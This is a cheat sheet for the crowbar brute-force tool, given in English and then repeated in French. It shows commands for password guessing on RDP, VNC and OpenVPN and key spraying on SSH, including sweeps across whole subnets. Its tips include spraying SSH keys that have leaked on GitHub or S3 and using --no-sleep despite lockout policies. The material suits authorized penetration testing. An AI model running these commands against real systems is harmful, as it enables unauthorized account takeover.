crowbar

Overview

crowbar is a brute-force tool with dedicated support for protocols that most tools handle poorly: RDP, OpenVPN, SSH (private key-based), and VNC. Its RDP module in particular fills a gap — Hydra and Medusa have unreliable RDP support, while crowbar handles NLA authentication properly.

Basic Usage

RDP brute-force

crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt

RDP with username list and password list

crowbar -b rdp -s 10.10.10.1/32 -U users.txt -C passwords.txt

SSH with private keys (key spray)

crowbar -b sshkey -s 10.10.10.1/32 -u root -k id_rsa

VNC password brute-force

crowbar -b vnckey -s 10.10.10.1/32 -k /tmp/vnc_passwords.txt

OpenVPN credential brute-force

crowbar -b openvpn -s vpn.example.com/32 -u user -C passwords.txt -k client.ovpn

RDP Brute-Force (Primary Use Case)

Single target

crowbar -b rdp -s 10.10.10.1/32 -u administrator -C /usr/share/wordlists/rockyou.txt

Multiple targets (CIDR)

crowbar -b rdp -s 10.10.10.0/24 -u administrator -C passwords.txt

With multiple usernames

crowbar -b rdp -s 10.10.10.1/32 -U /usr/share/wordlists/users.txt -C passwords.txt

Verbose output

crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt -v

With threads

crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt -n 5

SSH Key Spray

# Try a set of private keys against a host/user combination
# Useful after finding leaked SSH keys

Single key

crowbar -b sshkey -s 10.10.10.1/32 -u root -k /path/to/id_rsa

Directory of keys

crowbar -b sshkey -s 10.10.10.1/32 -u root -k /path/to/keys/

Multiple users with same keys

crowbar -b sshkey -s 10.10.10.1/32 -U users.txt -k /path/to/keys/

Output

# Results are printed to console:
# 2024-01-15 10:30:01 RDP-SUCCESS : 10.10.10.1:3389 - administrator:P@ssw0rd

Save to log file

crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt -o results.log

Tips

• crowbar is the go-to for RDP brute-forcing — don’t use Hydra or Medusa for RDP
• Be mindful of account lockout policies — use --no-sleep carefully
• For large wordlists against RDP, use --port to specify non-standard ports
• SSH key spray is effective after finding leaked keys in GitHub, GitLab, or S3 buckets

crowbar [options]

-b SERVICE    Service: rdp, openvpn, sshkey, vnckey
-s TARGET     Target IP or CIDR (required)
-u USER       Username (single)
-U FILE       Username file
-c PASSWORD   Password (single)
-C FILE       Password file
-k KEY        Key file or directory (for sshkey/vnckey)
-p PORT       Target port
-n THREADS    Number of threads (default: 5)
-o FILE       Output log file
-v            Verbose
-d            Debug
--no-sleep    Don't sleep between attempts

Vue d’ensemble

crowbar est un outil de brute-force avec un support dédié à des protocoles que la plupart des outils gèrent mal : RDP, OpenVPN, SSH (par clé privée) et VNC. Son module RDP en particulier comble un manque : Hydra et Medusa ont un support RDP peu fiable, tandis que crowbar gère correctement l’authentification NLA.

Utilisation de base

# Brute-force RDP
crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt

# RDP avec liste d'utilisateurs et liste de mots de passe
crowbar -b rdp -s 10.10.10.1/32 -U users.txt -C passwords.txt

# SSH avec clés privées (key spray)
crowbar -b sshkey -s 10.10.10.1/32 -u root -k id_rsa

# Brute-force de mot de passe VNC
crowbar -b vnckey -s 10.10.10.1/32 -k /tmp/vnc_passwords.txt

# Brute-force d'identifiants OpenVPN
crowbar -b openvpn -s vpn.example.com/32 -u user -C passwords.txt -k client.ovpn

Brute-force RDP (cas d’usage principal)

# Cible unique
crowbar -b rdp -s 10.10.10.1/32 -u administrator -C /usr/share/wordlists/rockyou.txt

# Plusieurs cibles (CIDR)
crowbar -b rdp -s 10.10.10.0/24 -u administrator -C passwords.txt

# Avec plusieurs noms d'utilisateur
crowbar -b rdp -s 10.10.10.1/32 -U /usr/share/wordlists/users.txt -C passwords.txt

# Sortie verbeuse
crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt -v

# Avec des threads
crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt -n 5

SSH key spray

# Essayer un ensemble de clés privées contre une combinaison hôte/utilisateur
# Utile après avoir trouvé des clés SSH fuitées

# Clé unique
crowbar -b sshkey -s 10.10.10.1/32 -u root -k /path/to/id_rsa

# Répertoire de clés
crowbar -b sshkey -s 10.10.10.1/32 -u root -k /path/to/keys/

# Plusieurs utilisateurs avec les mêmes clés
crowbar -b sshkey -s 10.10.10.1/32 -U users.txt -k /path/to/keys/

Sortie

# Les résultats sont affichés dans la console :
# 2024-01-15 10:30:01 RDP-SUCCESS : 10.10.10.1:3389 - administrator:P@ssw0rd

# Sauvegarder dans un fichier de log
crowbar -b rdp -s 10.10.10.1/32 -u admin -C passwords.txt -o results.log

Conseils

• crowbar est la référence pour le brute-force RDP : n’utilisez pas Hydra ou Medusa pour le RDP
• Faites attention aux politiques de verrouillage de compte : utilisez --no-sleep avec précaution
• Pour de grandes wordlists contre le RDP, utilisez --port pour spécifier des ports non standard
• Le SSH key spray est efficace après avoir trouvé des clés fuitées sur GitHub, GitLab ou des buckets S3

crowbar [options]

-b SERVICE    Service: rdp, openvpn, sshkey, vnckey
-s TARGET     Target IP or CIDR (required)
-u USER       Username (single)
-U FILE       Username file
-c PASSWORD   Password (single)
-C FILE       Password file
-k KEY        Key file or directory (for sshkey/vnckey)
-p PORT       Target port
-n THREADS    Number of threads (default: 5)
-o FILE       Output log file
-v            Verbose
-d            Debug
--no-sleep    Don't sleep between attempts